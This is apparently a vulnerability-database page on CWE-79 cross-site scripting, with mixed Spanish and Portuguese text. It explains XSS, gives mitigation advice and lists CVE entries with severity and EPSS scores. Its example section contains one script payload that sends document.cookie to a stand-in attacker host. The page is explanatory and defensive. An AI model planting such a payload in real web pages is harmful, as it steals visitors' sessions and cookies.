Fallos del tipo CWE-79

29.093 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-27070MEDIUMA stored cross-site scripting (XSS) vulnerability in TotalJS OpenPlatform commit b80b09d allows attackers to execute arbitrary web scripts oEPSS 0.5%CVE-2024-36193MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2024-9614MEDIUMConstant Contact Forms by MailMunch <= 2.1.2 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2023-5817MEDIUMNeon text <= 1.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2024-36209MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2024-36198MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2023-48858MEDIUMA Cross-site scripting (XSS) vulnerability in login page php code in Armex ABO.CMS 5.9 allows remote attackers to inject arbitrary web scripEPSS 0.5%CVE-2024-36195MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2023-22475MEDIUMCross-Site Scripting in Canarytoken historyEPSS 0.5%CVE-2022-28979MEDIUMLiferay Portal v7.1.0 through v7.4.2 and Liferay DXP 7.1 before fix pack 26, 7.2 before fix pack 15, and 7.3 before service pack 3 was discoEPSS 0.5%CVE-2025-2214MEDIUMMicroweber Settings index.php cross site scriptingEPSS 0.5%CVE-2024-45517MEDIUMAn issue was discovered in Zimbra Collaboration (ZCS) through 10.1. A Cross-Site Scripting (XSS) vulnerability in the /h/rest endpoint of thEPSS 0.5%CVE-2025-0721MEDIUMneedyamin image_gallery view.php cross site scriptingEPSS 0.5%CVE-2024-36199MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2014-125078LOWyanheven console horizon.instances.js cross site scriptingEPSS 0.5%CVE-2024-11225MEDIUMPremium Packages – Sell Digital Products Securely <= 5.9.3 - Reflected Cross-Site Scripting via add_query_argEPSS 0.5%CVE-2024-40474HIGHA Reflected Cross Site Scripting (XSS) vulnerability was found in "edit-cate.php" in SourceCodester House Rental Management System v1.0.EPSS 0.5%CVE-2023-3660LOWCampcodes Retro Cellphone Online Store add_user_modal.php cross site scriptingEPSS 0.5%CVE-2021-4310LOW01-Scripts 01-Artikelsystem 01article.php cross site scriptingEPSS 0.5%CVE-2026-73042CRITICALSiYuan before v3.7.4 Remote Code Execution via Menu MetadataEPSS 0.5%